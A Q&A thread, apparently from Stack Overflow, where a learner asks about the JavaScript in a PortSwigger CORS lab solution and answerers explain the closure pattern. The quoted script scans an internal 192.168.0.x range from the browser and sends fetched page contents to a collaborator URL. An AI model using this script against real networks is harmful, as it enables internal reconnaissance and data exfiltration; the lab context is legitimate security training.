0

I was looking at the solution of the Cors Lab (https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) and wanted to understand the code, but I am not very familiar with javascript, and despite trying searching a lot I didn't come up with an answer. The snippet is this:

var q = [],
  collaboratorURL = 'http://$collaboratorPayload';
for (i = 1; i <= 255; i++) {
  q.push(
    function(url) {
      return function(wait) {
        fetchUrl(url, wait);
      }
    }('http://192.168.0.' + i + ':8080'));
}
for (i = 1; i <= 20; i++) {
  if (q.length) q.shift()(i * 100);
}

function fetchUrl(url, wait) {
  var controller = new AbortController(),
    signal = controller.signal;
  fetch(url, {
      signal
    }).then(r => r.text().then(text => {
      location = collaboratorURL + '?ip=' + url.replace(/^http:\/\//, '') + '&code=' + encodeURIComponent(text) + '&' + Date.now()
    }))
    .catch(e => {
      if (q.length) {
        q.shift()(wait);
      }
    });
  setTimeout(x => {
    controller.abort();
    if (q.length) {
      q.shift()(wait);
    }
  }, wait);
}

What I am having problems with is the following:

for(i=1;i<=255;i++){
 q.push(
  function(url){
    return function(wait){
    fetchUrl(url,wait);
    }
  }('http://192.168.0.'+i+':8080'));
} 

At a high level I understand what they are trying to do but inside this for loop, I cannot understand what the function passed to the push does, and how does

('http://192.168.0.'+i+':8080') 

links to the push function.

empiric
  • 7,825
  • 7
  • 37
  • 48
Michy_Arya
  • 43
  • 4

2 Answers2

1

Essentially they declare and call an anonymous function, which then returns another anonymous function, which gets pushed onto the array.

So, it could also be written like this:

function urlToFunc(url) {
    return function(wait) { fetchUrl(url, wait); }
}

// later on

q.push(urlToFunc('http://192.168.0.'+i+':8080'));

.push simply adds the function returned by that funcion to the array q.


Another way to write it, which is less confusing imo, is like so:

q.push((wait)=>{ fetchUrl('http://192.168.0.'+i+':8080', wait); });
Toastrackenigma
  • 7,604
  • 4
  • 45
  • 55
1

What that snippet does is it pushes a function that, when invoked, calls fetchUrl with two arguments:

  • The URL, which is the 'http://192.168.0.'+i+':8080' (passed into the IIFE - the immediately invoked function expression, which calls the inner function immediately, with a url of 'http://192.168.0.'+i+':8080')

  • The wait, which is the argument the array item is called with later (like in q.shift()(wait);)

It's a confusing piece of code though. Since ES6 syntax is being used, it would make far more sense simply to declare i with let in the for loop. Then, every function pushed to the array can simply reference i instead of requiring an IIFE:

for (let i = 1; i <= 255; i++) {
  q.push(
    function(wait) {
      fetchUrl('http://192.168.0.' + i + ':8080', wait);
    }
  );
}

This is equivalent to the original snippet.

CertainPerformance
  • 356,069
  • 52
  • 309
  • 320